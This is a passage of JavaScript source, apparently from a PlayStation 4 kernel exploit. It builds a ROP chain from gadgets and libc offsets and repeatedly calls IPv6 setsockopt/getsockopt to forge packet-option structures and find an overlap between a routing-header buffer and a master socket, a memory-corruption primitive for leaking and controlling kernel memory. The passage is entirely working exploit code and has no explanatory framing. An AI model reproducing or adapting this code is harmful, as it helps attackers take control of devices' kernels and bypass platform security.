| 498 | } |
| 499 | |
| 500 | function fake_pktopts(pktinfo) { |
| 501 | { |
| 502 | |
| 503 | chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, 0x100); |
| 504 | chain.push_write8(rthdr_buffer.add32(0x0), 0x0F001E00); |
| 505 | chain.push_write8(rthdr_buffer.add32(PKTOPTS_PKTINFO_OFFSET), pktinfo); |
| 506 | chain.push_write8(loop_counter, 0); |
| 507 | chain.push_write8(tmp_tclass, 0x1); |
| 508 | for (var i = 0; i < NUM_LEAK_SOCKS; i++) { |
| 509 | chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); |
| 510 | chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4); |
| 511 | } |
| 512 | chain.fcall(window.syscalls[105], overlapped_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); |
| 513 | |
| 514 | const loop_start = chain.get_rsp(); |
| 515 | const loop_condition = chain.create_equal_branch(loop_counter, 0x100); |
| 516 | |
| 517 | const loop_condition_false = chain.get_rsp(); |
| 518 | for (var i = 0; i < NUM_LEAK_SOCKS; i++) { |
| 519 | chain.push_write8(rthdr_buffer.add32(PKTOPTS_TCLASS_OFFSET), (TCLASS_MASTER | i)); |
| 520 | chain.syscall_safe(105, leak_sockets[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, 0xF8); |
| 521 | } |
| 522 | chain.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, size_of_tclass); |
| 523 | const overlap_condition = chain.create_greater_or_equal_branch(tmp_tclass, TCLASS_MASTER); |
| 524 | |
| 525 | const overlap_false = chain.get_rsp(); |
| 526 | chain.push(window.gadgets["pop rax"]); |
| 527 | chain.push(loop_counter); |
| 528 | chain.push(window.gadgets["inc dword [rax]"]); |
| 529 | chain.jmp_rsp(loop_start); |
| 530 | |
| 531 | const loop_condition_true = chain.get_rsp(); |
| 532 | const overlap_true = chain.get_rsp(); |
| 533 | |
| 534 | chain.set_branch_points(loop_condition, loop_condition_true, loop_condition_false); |
| 535 | chain.set_branch_points(overlap_condition, overlap_true, overlap_false); |
| 536 | } |
| 537 | chain.run(); |
| 538 | |
| 539 | const tclass = p.read4(tmp_tclass); |
| 540 | if ((tclass & 0xFFFF0000) == TCLASS_MASTER) { |
| 541 | overlapped_socket_idx = (tclass & 0x0000FFFF); |
| 542 | overlapped_socket = leak_sockets[overlapped_socket_idx]; |
| 543 | return; |
| 544 | } |
| 545 | alert("[ERROR] failed to find RTHDR <-> master socket overlap REBOOT"); |
| 546 | while (1) {}; |
| 547 | |
| 548 | } |
| 549 | |
| 550 | function leak_rthdr_address(size) { |
| 551 | const ip6r_len = ((size >> 3) - 1 & ~1); |